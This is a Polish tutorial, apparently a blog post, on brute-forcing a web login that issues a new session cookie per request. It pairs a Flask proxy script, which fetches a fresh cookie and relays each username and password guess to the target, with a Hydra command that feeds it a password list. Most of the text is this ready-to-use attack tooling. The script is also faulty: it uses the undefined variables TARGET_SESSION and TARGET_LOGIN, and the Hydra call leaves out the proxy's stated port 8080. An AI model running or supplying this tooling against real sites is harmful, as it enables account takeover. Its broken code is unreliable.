Atak słownikowy za pomocą Hydry i Pythona w przypadku dynamicznie aktualizowanego ciasteczka
W niektórych aplikacjach webowych implementowane są mechanizmy, które dynamicznie generują unikalne ciasteczka per każde żądanie. Takie podejście utrudnia automatyczne ataki słownikowe narzędziami typu Hydra, ponieważ nie mogą one samodzielnie aktualizować wartości tokena przy każdym żądaniu. W tym artykule pokażę, jak obejść ten problem.

Jak działa mechanizm generowania ciasteczek?
Przykładowa aplikacja może implementować taki mechanizm w następujący sposób:
Klient wysyła zapytanie o stronę logowania:
GET /login HTTP/1.1 Host: target.com
Serwer odpowiada, ustawiając ciasteczko sesyjne:
HTTP/1.1 200 OK Set-Cookie: session=xyz123; Path=/; HttpOnly
Każde kolejne żądanie logowania wymaga nowego ciasteczka:
POST /login HTTP/1.1 Host: target.com Cookie: session=xyz123 Content-Type: application/x-www-form-urlencoded username=admin&password=secret
Wartość ciasteczka zmienia się przy każdym żądaniu, narzędzia takie jak Hydra nie są w stanie efektywnie atakować panelu logowania, ponieważ proces wymaga dynamicznej aktualizacji ciasteczka.
Proxy Flask do obsługi dynamicznych ciasteczek
Aby obejść problem dynamicznie zmieniających się ciasteczek sesyjnych, wykorzystałem skrypt w Pythonie oparty na frameworku Flask. Serwer ten działa jako pośrednik (proxy) pomiędzy Hydrą a rzeczywistym systemem logowania, automatycznie pobierając nowe ciasteczko przed każdym żądaniem.
Jak działa skrypt?
- Aplikacja Flask działa jako serwer nasłuchujący na porcie 8080 i przyjmujący żądania HTTP.
- Przed każdym żądaniem do serwera logowania aplikacja Flask wykonuje zapytanie do
/login.html
, aby uzyskać nowe ciasteczko sesyjne. - Po pobraniu nowego ciasteczka skrypt Flask przesyła dane logowania do rzeczywistego serwera aplikacji docelowej, zachowując aktualne ciasteczko.
- Skrypt sprawdza, czy logowanie się powiodło, analizując treść zwróconej strony. Jeśli nie zawiera frazy „Login Failed”, oznacza to sukces.
- W zależności od wyniku próby logowania, Flask zwraca odpowiednią odpowiedź do Hydry:
SUCCESS
w przypadku poprawnego logowania lubFAIL
w przypadku błędnego.
Implementacja skryptu:
from flask import Flask, request, Response
import requests
app = Flask(__name__)
TARGET = "https://<target>/login.html"
def get_new_cookie():
session = requests.get(TARGET_SESSION)
if session.status_code == 200:
return session.cookies.get_dict()
return {}
@app.route("/", methods=["POST", "GET"])
def proxy():
if request.method == "GET":
return Response("FAIL", 200)
form_data = request.form
username = form_data.get("username")
password = form_data.get("password")
cookies = get_new_cookie()
response = requests.post(TARGET_LOGIN, data={"username": username, "password": password}, cookies=cookies)
if "Login Failed" not in response.text:
print(f"[SUCCESS] Login: {username} | Hasło: {password}")
return Response("SUCCESS", status=200)
print(f"[FAILED] Login: {username} | Hasło: {password}")
return Response("FAIL", status=401)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=8080)
Uruchomienie Hydry
Aby wykorzystać Hydrę do przeprowadzenia ataku, będziemy wysyłać żądania do naszego serwera proxy zamiast bezpośrednio do docelowej aplikacji. Hydra będzie przesyłać dane logowania, a proxy zajmie się dynamicznym pobieraniem ciasteczka i przekazywaniem go do serwera docelowego.
Wywołanie Hydry:
hydra -l admin -P passwords.txt 127.0.0.1 http-post-form "/:username=^USER^&password=^PASS^:FAIL"
W tym przypadku:
- Hydra wysyła żądania do lokalnego serwera proxy (127.0.0.1:8080).
- Każde żądanie jest automatycznie modyfikowane przez proxy, które pobiera nowe ciasteczko i przekazuje je do docelowej aplikacji.
- Odpowiedź sprawdzana przez Hydrę to “FAIL” – jeśli go nie znajdzie, oznacza to poprawne logowanie.
Podsumowanie
Hydra sama w sobie nie obsługuje dynamicznych ciasteczek sesyjnych, dlatego konieczne jest obejście tego problemu poprzez użycie Pythona. Skrypt Flask działa jako serwer proxy, automatycznie pobierając i przekazując dynamicznie zmieniające się ciasteczka do serwera docelowego. Dzięki temu możliwe jest skuteczne przeprowadzenie ataku słownikowego przy użyciu Hydry.